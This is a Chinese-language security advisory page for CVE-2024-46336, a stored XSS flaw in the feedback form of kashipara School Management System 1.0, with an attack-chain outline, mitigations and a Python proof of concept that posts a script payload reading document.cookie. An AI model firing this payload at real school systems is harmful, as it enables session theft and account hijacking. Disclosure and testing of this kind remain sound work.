IPBUF安全漏洞报告
English
CVE-2024-46336 CVSS 6.1 中危

CVE-2024-46336 kashipara学校管理系统1.0 XSS漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2024-46336
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
kashipara School Management System 1.0

相关标签

XSS漏洞学校管理系统kashipara跨站脚本CVE-2024-46336反馈功能无需认证

漏洞概述

kashipara学校管理系统1.0存在跨站脚本攻击(XSS)漏洞,攻击者可以通过/client_user/feedback.php页面注入恶意JavaScript代码。该漏洞位于用户反馈提交功能处,系统未能对用户输入进行充分的输入验证和输出编码。攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或修改页面显示内容。由于该漏洞需要用户交互才能触发,攻击者需要诱导用户访问恶意链接或提交包含恶意脚本的反馈内容。此漏洞的CVSS评分为6.1,属于中等严重程度,对系统机密性和完整性有一定影响,但可用性影响较低。学校管理系统通常存储学生和教职工的敏感信息,此XSS漏洞可能被用于进一步的信息窃取和社会工程攻击。

技术细节

该漏洞存在于kashipara学校管理系统的反馈功能模块中,具体路径为/client_user/feedback.php。漏洞根源在于系统对用户提交的反馈内容缺乏有效的输入过滤和输出编码。当用户提交反馈时,系统直接将用户输入的内容存储并在后续页面中展示,如果用户输入包含恶意JavaScript代码,浏览器会将其解析执行。攻击者可以通过在反馈表单中提交类似<script>alert(document.cookie)</script>的payload来验证漏洞存在。在实际攻击场景中,攻击者可能会构造更复杂的payload来窃取用户会话令牌或执行其他恶意操作。由于该功能无需认证即可访问(PR:N),任何人都可以提交反馈,增加了漏洞的利用面。修复此类漏洞需要在输入端对特殊字符进行过滤,并在输出端对HTML实体进行编码。

攻击链分析

STEP 1
步骤1
攻击者访问学校管理系统的/client_user/feedback.php反馈页面
STEP 2
步骤2
攻击者在反馈表单的message字段中注入恶意XSS payload
STEP 3
步骤3
系统未对输入进行过滤或对输出进行编码,直接存储并展示恶意脚本
STEP 4
步骤4
其他用户访问反馈页面时,恶意JavaScript在其浏览器中执行
STEP 5
步骤5
攻击者通过恶意脚本窃取用户会话cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2024-46336 PoC - XSS in kashipara School Management System 1.0 # Target: /client_user/feedback.php target_url = "http://target-site.com/client_user/feedback.php" # XSS payload to steal cookies xss_payload = "<script>alert(document.cookie)</script>" # Data for feedback submission data = { "name": "Test User", "email": "[email protected]", "subject": "Feedback", "message": xss_payload, "submit": "Submit" } try: response = requests.post(target_url, data=data, timeout=10) print(f"Payload sent: {xss_payload}") print(f"Response status: {response.status_code}") # Verify XSS payload is reflected if xss_payload in response.text: print("Vulnerability confirmed: XSS payload reflected without sanitization") else: print("Payload may have been filtered or encoded") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

影响范围

kashipara School Management System 1.0

防御指南

临时缓解措施
在修复前,可以临时采取以下措施:1)关闭feedback.php功能的公开访问,仅允许授权用户访问;2)在Web服务器层面配置XSS过滤规则;3)加强对反馈内容的审核机制,人工审查所有提交内容;4)监控异常请求模式,及时发现和阻止攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表